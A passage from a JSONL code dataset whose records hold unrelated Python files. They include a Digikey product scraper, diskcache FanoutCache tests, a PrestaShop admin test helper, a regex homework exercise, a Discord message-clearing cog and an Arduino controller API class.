''\n lieBrand['web_url'] = ''\n\n body = {\n 'lieBrand': lieBrand,\n 'attrs': attrs,\n 'goods_id': self.goods_id,\n 'cat_id': self.cat_id\n }\n body = str({\"2\": body})\n self.ch.basic_publish(exchange='',\n routing_key=self.routingkey,\n properties=pika.BasicProperties(\n delivery_mode = 2),\n body=body)\n body = ''\n\n # 更新goods mysql\n lg = self.update_goods_mysql(goods_name, zzs, pimg, desc, \n goods_name_style)\n body = str({\"1\": lg})\n self.ch.basic_publish(exchange='',\n routing_key=self.routingkey, \n properties=pika.BasicProperties(\n delivery_mode = 2),\n body=body)\n body = ''\n\n # \n goods_price = []\n for ti in tiered:\n tmp = {'purchases': ti[0], 'price': ti[1]}\n goods_price.append(tmp)\n body = {'goods_price': goods_price, 'goods_id': self.goods_id}\n body = str({\"4\": body})\n self.ch.basic_publish(exchange='',\n routing_key=self.routingkey, \n properties=pika.BasicProperties(\n delivery_mode = 2),\n body=body)\n body = ''\n\n print('**********************更新mongo**********************')\n dgk = self.fz_goods_detail(goods_name, \n zzs.encode().decode(), desc, pn='digikey', \n stock=stock, tiered=tiered)\n if '已过时' in html:\n dgk['is_error'] = 1\n if '不再生产' in html:\n dgk['is_error'] = 2\n\n body = {\n 'dgk': dgk,\n 'goods_sn': self.goods_sn,\n }\n body = str({\"3\": body})\n self.ch.basic_publish(exchange='',\n routing_key=self.routingkey,\n properties=pika.BasicProperties(\n delivery_mode = 2),\n body=body)\n body = ''\n else:\n # 更新mongo\n print('**********************更新mongo**********************')\n dgk = self.fz_goods_detail(goods_name, \n zzs.encode().decode(), desc, pn='digikey', \n stock=stock, tiered=tiered)\n\n if '已过时' in html:\n dgk['is_error'] = 1 \n if '不再生产' in html:\n dgk['is_error'] = 2\n body = {\n 'dgk': dgk,\n 'goods_sn': self.goods_sn,\n }\n body = str({\"3\": body})\n self.ch.basic_publish(exchange='',\n routing_key=self.routingkey,\n properties=pika.BasicProperties(\n delivery_mode = 2),\n body=body)\n body = ''\n return True\n\n def update_goods_mysql(self, goods_name, zzs, goods_img, goods_desc,\n goods_name_style):\n lg = dict()\n lg['goods_sn'] = self.goods_sn\n lg['goods_name'] = goods_name\n lg['provider_name'] = zzs\n lg['goods_img'] = goods_img\n lg['goods_desc'] = goods_desc\n lg['goods_name_style'] = goods_name_style\n lg['goods_id'] = self.goods_id\n return lg\n\nif __name__ == '__main__':\n from client.settings import rabbitmq_server\n user = rabbitmq_server['user']\n password = rabbitmq_server['password']\n host = rabbitmq_server['host']\n credentials = pika.PlainCredentials(user, password)\n connection = pika.BlockingConnection(pika.ConnectionParameters(\n host=host, credentials=credentials))\n\n ch = connection.channel()\n routingkey = 'digikey_store_goods'\n url = 'http://www.digikey.cn/product-detail/zh/te-connectivity-measurement-specialties/02291335-000/356-1075-ND/735368'\n cat_id = 1\n goods_id = 1\n goods_sn = '1'\n is_first = False\n pdf_url = 'http://www.osram-os.com/Graphics/XPic2/00195908_0.pdf'\n lgs = LieGoodsSpider(cat_id, goods_id, goods_sn, url, pdf_url, ch, routingkey,\n is_first)\n html = lgs.goods()\n lgs.parse_goods(html)\n","sub_path":"bigdata/client/spider/digikey/lie_goods_spider.py","file_name":"lie_goods_spider.py","file_ext":"py","file_size_in_byte":14075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"313206226","text":"\"Test diskcache.fanout.FanoutCache.\"\n\nfrom __future__ import print_function\n\nimport collections as co\nimport errno\nimport functools as ft\nimport hashlib\nimport io\nimport mock\nimport nose.tools as nt\nimport os\nimport os.path as op\nimport random\nimport shutil\nimport sqlite3\nimport subprocess as sp\nimport sys\nimport threading\nimport time\nimport warnings\n\ntry:\n import cPickle as pickle\nexcept:\n import pickle\n\nimport diskcache as dc\n\nwarnings.simplefilter('error')\nwarnings.simplefilter('ignore', category=dc.EmptyDirWarning)\n\nif sys.hexversion < 0x03000000:\n range = xrange\n\ndef setup_cache(func=None, **options):\n if func is None:\n return lambda func: setup_cache(func, **options)\n\n @ft.wraps(func)\n def wrapper():\n shutil.rmtree('tmp', ignore_errors=True)\n with dc.FanoutCache('tmp', **options) as cache:\n func(cache)\n shutil.rmtree('tmp', ignore_errors=True)\n\n return wrapper\n\n\n@setup_cache\ndef test_init(cache):\n assert cache.directory == 'tmp'\n\n default_settings = dc.DEFAULT_SETTINGS.copy()\n del default_settings['size_limit']\n for key, value in default_settings.items():\n assert getattr(cache, key) == value\n assert cache.size_limit == 2 ** 27\n\n cache.check()\n\n for key, value in dc.DEFAULT_SETTINGS.items():\n setattr(cache, key, value)\n\n cache.check()\n\n\n@setup_cache\ndef test_set_get_delete(cache):\n for value in range(100):\n cache.set(value, value)\n\n cache.check()\n\n for value in range(100):\n assert cache.get(value) == value\n\n cache.check()\n\n for value in range(100):\n assert value in cache\n\n cache.check()\n\n for value in range(100):\n assert cache.delete(value)\n assert cache.delete(100) == False\n\n cache.check()\n\n for value in range(100):\n cache[value] = value\n\n cache.check()\n\n for value in range(100):\n assert cache[value] == value\n\n cache.check()\n\n cache.clear()\n assert len(cache) == 0\n\n cache.check()\n\n\n@setup_cache\ndef test_set_timeout(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n set_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.set = set_func\n set_func.side_effect = dc.Timeout\n\n with mock.patch.object(cache, '_shards', shards):\n assert not cache.set(0, 0)\n\n\n@setup_cache\ndef test_set_timeout_retry(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n set_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.set = set_func\n set_func.side_effect = [dc.Timeout, True, dc.Timeout, True]\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.set(0, 0, retry=True)\n cache[1] = 1\n\n\n@setup_cache\ndef test_add(cache):\n assert cache.add(0, 0)\n assert not cache.add(0, 1)\n assert cache.get(0) == 0\n\n\n@setup_cache\ndef test_add_timeout(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n add_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.add = add_func\n add_func.side_effect = dc.Timeout\n\n with mock.patch.object(cache, '_shards', shards):\n assert not cache.add(0, 0)\n\n\n@setup_cache\ndef test_add_timeout_retry(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n add_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.add = add_func\n add_func.side_effect = [dc.Timeout, True]\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.add(0, 0, retry=True)\n\n\ndef stress_add(cache, limit, results):\n total = 0\n for num in range(limit):\n if cache.add(num, num, retry=True):\n total += 1\n # Stop one thread from running ahead of others.\n time.sleep(0.001)\n results.append(total)\n\n\n@setup_cache(shards=1)\ndef test_add_concurrent(cache):\n results = co.deque()\n limit = 1000\n\n threads = [\n threading.Thread(target=stress_add, args=(cache, limit, results))\n for _ in range(16)\n ]\n\n for thread in threads:\n thread.start()\n\n for thread in threads:\n thread.join()\n\n assert sum(results) == limit\n cache.check()\n\n\n@setup_cache\ndef test_incr(cache):\n cache.incr('key', delta=3) == 3\n\n\n@setup_cache\ndef test_incr_timeout(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n incr_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.incr = incr_func\n incr_func.side_effect = dc.Timeout\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.incr('key', 1) is None\n\n\n@setup_cache\ndef test_incr_timeout_retry(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n incr_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.incr = incr_func\n incr_func.side_effect = [dc.Timeout, 1]\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.incr('key', retry=True) == 1\n\n\n@setup_cache\ndef test_decr(cache):\n cache.decr('key', delta=2) == -2\n\n\ndef stress_incr(cache, limit):\n for _ in range(limit):\n cache.incr(b'key', retry=True)\n time.sleep(0.001)\n\n\n@setup_cache(shards=1, timeout=0.001)\ndef test_incr_concurrent(cache):\n count = 16\n limit = 50\n\n threads = [\n threading.Thread(target=stress_incr, args=(cache, limit))\n for _ in range(count)\n ]\n\n for thread in threads:\n thread.start()\n\n for thread in threads:\n thread.join()\n\n assert cache.get(b'key') == count * limit\n cache.check()\n\n\n@setup_cache\ndef test_get_timeout(cache):\n cache.set(0, 0)\n\n shards = mock.Mock()\n shard = mock.Mock()\n get_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.get = get_func\n get_func.side_effect = dc.Timeout\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.get(0) is None\n\n\n@setup_cache\ndef test_get_timeout_retry(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n get_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.get = get_func\n get_func.side_effect = [dc.Timeout, 0]\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.get(0, retry=True) == 0\n\n\n@setup_cache\ndef test_pop(cache):\n for num in range(100):\n cache[num] = num\n\n for num in range(100):\n assert cache.pop(num) == num\n\n\n@setup_cache\ndef test_pop_timeout(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n pop_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.pop = pop_func\n pop_func.side_effect = dc.Timeout\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.pop(0) is None\n\n\n@setup_cache\ndef test_pop_timeout_retry(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n pop_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.pop = pop_func\n pop_func.side_effect = [dc.Timeout, 0]\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.pop(0, retry=True) == 0\n\n\n@setup_cache\ndef test_delete_timeout(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n delete_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.__delitem__ = delete_func\n delete_func.side_effect = dc.Timeout\n\n with mock.patch.object(cache, '_shards', shards):\n assert not cache.delete(0)\n\n\n@setup_cache\ndef test_delete_timeout_retry(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n delete_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.__delitem__ = delete_func\n delete_func.side_effect = [dc.Timeout, True]\n\n with mock.patch.object(cache, '_shards', shards):\n assert cache.delete(0, retry=True)\n\n\n@setup_cache\ndef test_delitem(cache):\n cache[0] = 0\n assert cache[0] == 0\n del cache[0]\n\n\n@setup_cache\n@nt.raises(KeyError)\ndef test_delitem_keyerror(cache):\n del cache[0]\n\n\n@setup_cache\ndef test_delitem_timeout(cache):\n shards = mock.Mock()\n shard = mock.Mock()\n delete_func = mock.Mock()\n\n shards.__getitem__ = mock.Mock(side_effect=lambda key: shard)\n shard.__delitem__ = delete_func\n delete_func.side_effect = [dc.Timeout, True]\n\n with mock.patch.object(cache, '_shards', shards):\n del cache[0]\n\n\n@setup_cache\ndef test_tag_index(cache):\n assert cache.tag_index == 0\n cache.create_tag_index()\n assert cache.tag_index == 1\n cache.drop_tag_index()\n assert cache.tag_index == 0\n\n\n@setup_cache\ndef test_read(cache):\n cache.set(0, b'abcd' * 2 ** 20)\n with cache.read(0) as reader:\n assert reader is not None\n\n\n@nt.raises(KeyError)\n@setup_cache\ndef test_read_keyerror(cache):\n with cache.read(0) as reader:\n pass\n\n\n@nt.raises(KeyError)\n@setup_cache\ndef test_getitem_keyerror(cache):\n cache[0]\n\n\n@setup_cache\ndef test_expire(cache):\n cache.reset('cull_limit', 0)\n\n for value in range(100):\n cache.set(value, value, expire=0)\n\n assert len(cache) == 100\n\n time.sleep(0.01)\n cache.reset('cull_limit', 10)\n\n assert cache.expire() == 100\n\n\n@setup_cache\ndef test_evict(cache):\n colors = ('red', 'blue', 'yellow')\n\n for value in range(90):\n assert cache.set(value, value, tag=colors[value % len(colors)])\n\n assert len(cache) == 90\n assert cache.evict('red') == 30\n assert len(cache) == 60\n assert len(cache.check()) == 0\n\n\n@setup_cache\ndef test_size_limit_with_files(cache):\n shards = 8\n cache.reset('cull_limit', 0)\n size_limit = 30 * cache.disk_min_file_size\n cache.reset('size_limit', size_limit)\n value = b'foo' * cache.disk_min_file_size\n\n for key in range(40 * shards):\n cache.set(key, value)\n\n assert (cache.volume() // shards) > size_limit\n cache.cull()\n assert (cache.volume() // shards) <= size_limit\n\n\n@setup_cache\ndef test_size_limit_with_database(cache):\n shards = 8\n cache.reset('cull_limit', 0)\n size_limit = 2 * cache.disk_min_file_size\n cache.reset('size_limit', size_limit)\n value = b'0123456789' * 10\n count = size_limit // (8 + len(value)) * shards\n\n for key in range(count):\n cache.set(key, value)\n\n assert (cache.volume() // shards) > size_limit\n cache.cull()\n assert (cache.volume() // shards) <= size_limit\n\n\n@setup_cache\ndef test_clear(cache):\n for value in range(100):\n cache[value] = value\n assert len(cache) == 100\n assert cache.clear() == 100\n assert len(cache) == 0\n assert len(cache.check()) == 0\n\n\n@setup_cache\ndef test_remove_timeout(cache):\n shard = mock.Mock()\n clear = mock.Mock()\n\n shard.clear = clear\n clear.side_effect = [dc.Timeout(2), 3]\n\n with mock.patch.object(cache, '_shards', [shard]):\n assert cache.clear() == 5\n\n\n@setup_cache\ndef test_reset_timeout(cache):\n shard = mock.Mock()\n reset = mock.Mock()\n\n shard.reset = reset\n reset.side_effect = [dc.Timeout, 0]\n\n with mock.patch.object(cache, '_shards', [shard]):\n assert cache.reset('blah', 1) == 0\n\n\n@setup_cache\ndef test_stats(cache):\n for value in range(100):\n cache[value] = value\n\n assert cache.stats(enable=True) == (0, 0)\n\n for value in range(100):\n cache[value]\n\n for value in range(100, 110):\n cache.get(value)\n\n assert cache.stats(reset=True) == (100, 10)\n assert cache.stats(enable=False) == (0, 0)\n\n for value in range(100):\n cache[value]\n\n for value in range(100, 110):\n cache.get(value)\n\n assert cache.stats() == (0, 0)\n assert len(cache.check()) == 0\n\n\n@setup_cache\ndef test_volume(cache):\n volume = sum(shard.volume() for shard in cache._shards)\n assert volume == cache.volume()\n\n\n@setup_cache\ndef test_iter(cache):\n for num in range(100):\n cache[num] = num\n assert set(cache) == set(range(100))\n\n\n@setup_cache\ndef test_iter_expire(cache):\n \"\"\"Test iteration with expiration.\n\n Iteration does not expire keys.\n\n \"\"\"\n cache.reset('cull_limit', 0)\n for num in range(100):\n cache.set(num, num, expire=0)\n time.sleep(0.1)\n assert set(cache) == set(range(100))\n cache.expire()\n assert set(cache) == set()\n\n\n@setup_cache\ndef test_reversed(cache):\n for num in range(100):\n cache[num] = num\n reverse = list(reversed(cache))\n assert list(cache) == list(reversed(reverse))\n\n\n@setup_cache\ndef test_pickle(cache):\n for num, val in enumerate('abcde'):\n cache[val] = num\n\n data = pickle.dumps(cache)\n other = pickle.loads(data)\n\n for key in other:\n assert other[key] == cache[key]\n\n\n@setup_cache\ndef test_memoize(cache):\n count = 1000\n\n def fibiter(num):\n alpha, beta = 0, 1\n\n for _ in range(num):\n alpha, beta = beta, alpha + beta\n\n return alpha\n\n @cache.memoize(name='fib')\n def fibrec(num):\n if num == 0:\n return 0\n elif num == 1:\n return 1\n else:\n return fibrec(num - 1) + fibrec(num - 2)\n\n cache.stats(enable=True)\n\n for value in range(count):\n assert fibrec(value) == fibiter(value)\n\n hits1, misses1 = cache.stats()\n\n for value in range(count):\n assert fibrec(value) == fibiter(value)\n\n hits2, misses2 = cache.stats()\n\n assert hits2 == hits1 + count\n assert misses2 == misses1\n\n\ndef test_copy():\n cache_dir1 = op.join('tmp', 'foo')\n\n with dc.FanoutCache(cache_dir1) as cache1:\n for count in range(10):\n cache1[count] = str(count)\n\n for count in range(10, 20):\n cache1[count] = str(count) * int(1e5)\n\n cache_dir2 = op.join('tmp', 'bar')\n shutil.copytree(cache_dir1, cache_dir2)\n\n with dc.FanoutCache(cache_dir2) as cache2:\n for count in range(10):\n assert cache2[count] == str(count)\n\n for count in range(10, 20):\n assert cache2[count] == str(count) * int(1e5)\n\n shutil.rmtree('tmp', ignore_errors=True)\n\n\ndef run(command):\n print('run$ %r' % command)\n try:\n result = sp.check_output(command, stderr=sp.STDOUT)\n print(result)\n except sp.CalledProcessError as exc:\n print(exc.output)\n raise\n\n\ndef test_rsync():\n try:\n run(['rsync', '--version'])\n except OSError:\n return # No rsync installed. Skip test.\n\n rsync_args = ['rsync', '-a', '--checksum', '--delete', '--stats']\n cache_dir1 = op.join('tmp', 'foo') + os.sep\n cache_dir2 = op.join('tmp', 'bar') + os.sep\n\n # Store some items in cache_dir1.\n\n with dc.FanoutCache(cache_dir1) as cache1:\n for count in range(100):\n cache1[count] = str(count)\n\n for count in range(100, 200):\n cache1[count] = str(count) * int(1e5)\n\n # Rsync cache_dir1 to cache_dir2.\n\n run(rsync_args + [cache_dir1, cache_dir2])\n\n # Validate items in cache_dir2.\n\n with dc.FanoutCache(cache_dir2) as cache2:\n for count in range(100):\n assert cache2[count] == str(count)\n\n for count in range(100, 200):\n assert cache2[count] == str(count) * int(1e5)\n\n # Store more items in cache_dir2.\n\n with dc.FanoutCache(cache_dir2) as cache2:\n for count in range(200, 300):\n cache2[count] = str(count)\n\n for count in range(300, 400):\n cache2[count] = str(count) * int(1e5)\n\n # Rsync cache_dir2 to cache_dir1.\n\n run(rsync_args + [cache_dir2, cache_dir1])\n\n # Validate items in cache_dir1.\n\n with dc.FanoutCache(cache_dir1) as cache1:\n for count in range(100):\n assert cache1[count] == str(count)\n\n for count in range(100, 200):\n assert cache1[count] == str(count) * int(1e5)\n\n for count in range(200, 300):\n assert cache1[count] == str(count)\n\n for count in range(300, 400):\n assert cache1[count] == str(count) * int(1e5)\n\n shutil.rmtree('tmp', ignore_errors=True)\n\n\nclass SHA256FilenameDisk(dc.Disk):\n def filename(self, key=dc.UNKNOWN, value=dc.UNKNOWN):\n filename = hashlib.sha256(key).hexdigest()[:32]\n full_path = op.join(self._directory, filename)\n return filename, full_path\n\n\ndef test_custom_filename_disk():\n with dc.FanoutCache('tmp', disk=SHA256FilenameDisk) as cache:\n for count in range(100, 200):\n key = str(count).encode('ascii')\n cache[key] = str(count) * int(1e5)\n\n disk = SHA256FilenameDisk('tmp')\n\n for count in range(100, 200):\n key = str(count).encode('ascii')\n subdir = '%03d' % (disk.hash(key) % 8)\n filename = hashlib.sha256(key).hexdigest()[:32]\n full_path = op.join('tmp', subdir, filename)\n\n with open(full_path) as reader:\n content = reader.read()\n assert content == str(count) * int(1e5)\n\n shutil.rmtree('tmp', ignore_errors=True)\n\n\nif __name__ == '__main__':\n import nose\n nose.runmodule()\n","sub_path":"tests/test_fanout.py","file_name":"test_fanout.py","file_ext":"py","file_size_in_byte":17003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"346165279","text":"import requests, json\n\ndef ImageReverse():\n apiKey = \"YOUR_APIKEY_HERE\"\n path = \"./img.jgp\" ## EXAMPLE\n headers = {\"apiKey\": apiKey} ## APIKEY, YOU CAN BUY FROM ME IN WHATSAPP: +6289625658302\n files = {\"file\": open(path,\"rb\")}\n main = json.loads(requests.post(\"https://api.be-team.me/imgreverse\",headers=headers,files=files).text)\n print(\"Link: \"+ main[\"result\"])\n \nImageReverse()\n","sub_path":"[API]ImageReverse.py","file_name":"[API]ImageReverse.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"60230919","text":"# -*- coding: utf-8 -*-\nimport time\nfrom screens.login_admin_page_screen import loginAdminPageScreen\nfrom commons.Context import Context \nfrom screens.admin_page_new_menu_screen import adminPageScreen\nfrom screens.admin_employee_screen import adminemployeeScreen\n\n\n\nclass admin_admin_page():\n\n def __init__(self):\n pass\n\n @classmethod\n def setup(cls, scenario, module, get_dataset=False):\n cls.context = Context()\n cls.context.scenario = scenario\n cls.context.module = module\n \n def add_employee(self,var_test):\n found_employee = False\n try:\n loginAdminPageScreen().connect(Context().environment.login, Context().environment.password)\n time.sleep(3)\n try:\n adminPageScreen().go_to_admin_menu('Preferences','Preferences_employees')\n Context().logger.info(\"Go on Back-office - employees menu\")\n except:\n Context().logger.warning(\"Issue to go on Back-office - employees menu\")\n raise\n time.sleep(3)\n try:\n new_employee = adminemployeeScreen().add_employees(var_test)\n Context().logger.info(\"the new employee has been added\")\n except:\n Context().logger.warning(\"Issue to add the new employee\")\n raise\n try:\n found_employee = adminemployeeScreen().check_employee(new_employee)\n Context().logger.info(\"Find informations about the employee\")\n except:\n Context().logger.warning(\"Issue to find informations about the employee\")\n raise\n time.sleep(3)\n try:\n loginAdminPageScreen().disconnect()\n except:\n Context().logger.warning(\"Issue with log out\")\n raise\n return found_employee\n except:\n return False\n raise\n\n def delete_employee(self,employee=None):\n \"A faire\"\n Context().logger.info(\"Test a ecrire\")\n \n def open_all_controller(self):\n open_controllers = True\n try:\n loginAdminPageScreen().connect(Context().environment.login, Context().environment.password)\n time.sleep(3)\n try:\n adminPageScreen().open_all_contoller()\n Context().logger.info(\"Open all controllers\")\n except:\n Context().logger.warning(\"Issue to open all controllers\")\n open_controllers = False\n raise\n return open_controllers\n except:\n return False","sub_path":"tests/admin_admin_page.py","file_name":"admin_admin_page.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"422730007","text":"import unittest\nimport re\nimport json\nimport pdb\nimport sys\n\n\n\n## SI 206 - W17 - HW3\n## COMMENT WITH:\n## Your section day/time: Thurday 6:00pm\n## Any names of people you worked with on this assignment: None\n\n#####################\n\n\n## PART 1: 300 points\n\n## Use regular expressions to define a function called parse_counted_words which should accept a string, find strings of the form: e.g. 101 Dalmations, inside it, and should return either the LAST correctly matching number-word combo in the string as a tuple, e.g. ('13', \"pineapples\"), if there are any such sub-strings, or None, if there are not.\n## The number in the should be one or more digits only. The word should be made up of an optional non-alphabetic character followed by any number of alphabetic characters, upper or lower case.\n## HINT: \\b matches the beginning or end of a word\n## HINT: you can use the Python re .findall method to get multiple matches in a string\n#parse_counted_words('5 watermelons, 13 pineapples, and 1 papaya.') should return ('1', 'papaya')\n# parse_counted_words('101 dalmations!') should return ('101', 'dalmations') ...\n\n## Write code to define your parse_counted_words function here.\n\ndef parse_counted_words(string):\n x = re.findall('\\d+\\s[^a-zA-Z0-9_]?\\w+',string)\n # print(x)\n # pdb.set_trace() \n result=[]\n\n for item in x:\n list1=[]\n list1 = item.split()\n xx = \"werw\"\n if type(list1[1])==type(xx) and list1[0].isdigit():\n if list1[1].isdigit():\n break\n number = list1[0]\n word = list1[1]\n mytuple =(number,word)\n result.append(mytuple)\n #pdb.set_trace() \n if len(result)==0:\n return None \n return result[-1]\n\n\n\n\n\n\n\n## PART 2: 200 points\n\n## We have provided a text file computer_paths.txt. It's not incredibly long -- you can scan through it, but do NOT hard code your answers! Each line contains 1 filesystem path.\n\n## (a) Write Python code to determine how many of these paths identify FILES, not directories. Save that number in the variable file_paths_num.\n\n## (b) Write Python code to determine how many of these paths are FULL paths, not relative paths. Save that number in the variable full_paths_num.\n\n## (c) Write Python code to determine how many of these paths describe a Python file saved inside a folder called SI206. Save that number in the variable python_course_paths.\n\n## (d) Write Python code to determine how many of these paths describe a Microsoft file (a file that EITHER ends with .docx OR .xlsx, but nothing else counts) where the file name ends in a digit. Save that total in the variable microsoft_files_num.\n\n\n\nwith open(\"computer_paths.txt\",'r') as f:\n result=[]\n file_paths_num = 0\n full_paths_num = 0\n python_course_paths = 0\n microsoft_files_num = 0\n for line in f:\n result.append(line)\n for item in result:\n x=[]\n x = item.split(\"/\")\n #pdb.set_trace() \n# print(x)\n if x[-1]!='\\n':\n file_paths_num+=1\n # print(file_paths_num) \n # print(x) \n if x[0]== '~' or x[0]=='':\n full_paths_num+=1\n if x[-2]==\"SI206\":\n# pdb.set_trace() \n string1 = x[-1]\n if string1[-2:-1] == 'y' and string1[-3:-2] == 'p' and string1[-4:-\\\n3]=='.':\n python_course_paths+=1\n\n xms=[]\n xms = x[-1].split(\".\")\n if xms[0][-1].isdigit():\n if xms[1][:-1] == \"xlsx\" or xms[1][:-1]==\"docx\":\n microsoft_files_num+=1\n\n\n\n\n\n## We have provided unit tests in this file. To earn the full 500 points, you'll need to pass all of the tests and will need to have followed the instructions.\n## Each class of the tests represents one \"part\" of the homework, and the points for each part are divided approx. equally between each of the tests.\n\n####### UNIT TESTING BELOW; DO NOT CHANGE ANY TESTING CODE #######\n\nclass Part1_HW3(unittest.TestCase):\n def test_pcw_1(self):\n self.assertEqual(parse_counted_words('5 watermelons, 13 pineapples, and 1 papaya.'),('1','papaya'))\n def test_pcw_2(self):\n self.assertEqual(parse_counted_words('101 dalmations!'),('101','dalmations'))\n def test_pcw_3(self):\n self.assertEqual(parse_counted_words('snow white and the 7 #littledwarves'),('7','#littledwarves'))\n def test_pcw_4(self):\n self.assertEqual(parse_counted_words('goldilocks and the 3 little pigs'),('3','little'))\n def test_pcw_5(self): \n self.assertEqual(parse_counted_words('678 1234567 890 '),None)\n def test_pcw_6(self):\n self.assertEqual(parse_counted_words(\"hellllo 5000\"), None)\n def test_pcw_7(self):\n self.assertEqual(parse_counted_words(\"!!!! 6\"), None)\n def test_pcw_8(self):\n self.assertEqual(parse_counted_words(\"!!!!! 72 and 76 calendars\"),('76',\"calendars\"))\n\nclass Part2_HW3(unittest.TestCase):\n def test_cpaths_1(self):\n self.assertEqual(file_paths_num,16)\n def test_cpaths_2(self):\n self.assertEqual(full_paths_num,16)\n def test_cpaths_3(self):\n self.assertEqual(python_course_paths,3)\n def test_cpaths_4(self):\n self.assertEqual(microsoft_files_num,3)\n\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)\n\n","sub_path":"206W17_HW3.py","file_name":"206W17_HW3.py","file_ext":"py","file_size_in_byte":5628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"199498528","text":"import discord\nfrom discord.ext import commands\n\nclass Cls():\n\tdef __init__(self,bot):\n\t\tself.bot = bot\n\t\t\n\t\n\t@commands.command()\n\t@commands.has_any_role(\"Owner\")\n\tasync def cls(self,ctx):\n\t\tasync for msg in ctx.channel.history():\n\t\t\tawait msg.delete()\n\t\t\t\ndef setup(bot):\n\tbot.add_cog(Cls(bot))","sub_path":"cls.py","file_name":"cls.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"353993558","text":"import logging\nimport os\nimport tempfile\nimport time\n\nfrom json_dict import JsonDict\n\nfrom django_websocket_server.websocket_server import SocketServer\nfrom multi_purpose_arduino_controller.python_communicator import PythonCommunicator, TargetNotFoundException\nfrom .datalogger import DataLogger\n\n\nclass ArduinoControllerAPI:\n def __init__(\n self,\n name=\"arduinocontrollerapi\",\n python_communicator: PythonCommunicator = None,\n websocket_server: SocketServer = None,\n config=None,\n datalogger: DataLogger = None,\n logger=None,\n data_dir=None,\n ):\n self._python_communicator = None\n self.boarddata = {}\n self.websocket_server = None\n if websocket_server is not None: self.set_websocket_server(websocket_server)\n self.name = name\n self.data = {}\n self.dataupdate = 1\n self.lastupdate = 0\n self.lastsend = dict()\n self.connected_ports = set()\n self.ignored_ports = set()\n self.available_ports = set()\n self.identified_ports = set()\n\n self.logger = logging.getLogger(self.name) if logger is None else - logger\n\n self.data_dir = os.path.join(tempfile.gettempdir(), self.name + \"_API\") if data_dir is None else data_dir\n\n os.makedirs(self.data_dir, exist_ok=True)\n\n self.config = JsonDict(file=os.path.join(self.data_dir, \"config.json\"),\n createfile=True) if config is None else config\n self.config.autosave = True\n\n self.sensor_ports = set([])\n\n self.set_communicator(PythonCommunicator() if python_communicator is None else python_communicator)\n\n self.datalogger = DataLogger(autosave_path=self.data_dir) if datalogger is None else datalogger\n\n self.running = False\n self.run_thread = None\n\n def set_communicator(self, communicator: PythonCommunicator):\n self._python_communicator = communicator\n self._python_communicator.add_node(self.name, self)\n\n def get_communicator(self):\n return self._python_communicator\n\n python_communicator = property(get_communicator,set_communicator)\n\n def ask_for_ports(self):\n try:\n self._python_communicator.cmd_out(\n cmd=\"get_ports\",\n sender=self.name,\n targets=[\"serialreader\"],\n data_target=self.name,\n )\n except TargetNotFoundException:\n pass\n\n def set_ports(self, connected_ports=None, ignored_ports=None, available_ports=None,identified_ports=None):\n self.connected_ports = set([] if connected_ports is None else connected_ports)\n self.ignored_ports = set([] if ignored_ports is None else ignored_ports)\n self.available_ports = set([] if available_ports is None else available_ports)\n self.identified_ports = set([] if identified_ports is None else identified_ports)\n for port in self.connected_ports.difference(self.sensor_ports): self.add_sensor_port(port)\n for port in self.sensor_ports.difference(self.connected_ports): self.add_sensor_port(port)\n\n def remove_sensor_port(self, port):\n self.logger.info(\"remove sensor port\" + str(port))\n self.sensor_ports.remove(port)\n\n def add_sensor_port(self, port=None):\n time.sleep(1)\n if port is not None:\n self.logger.info(\"add sensor port\" + str(port))\n self.sensor_ports.add(port)\n self._python_communicator.cmd_out(\n cmd=\"add_data_target\", targets=[port], data_target=self.name\n )\n\n def data_update_time(self, data_update_time=None):\n if data_update_time is not None:\n self.dataupdate = data_update_time\n self.lastupdate = data_update_time.time() - self.dataupdate\n\n def datapoint(self, key=None, x=None, y=None,**kwargs):\n if key is None or x is None or y is None:\n return\n\n 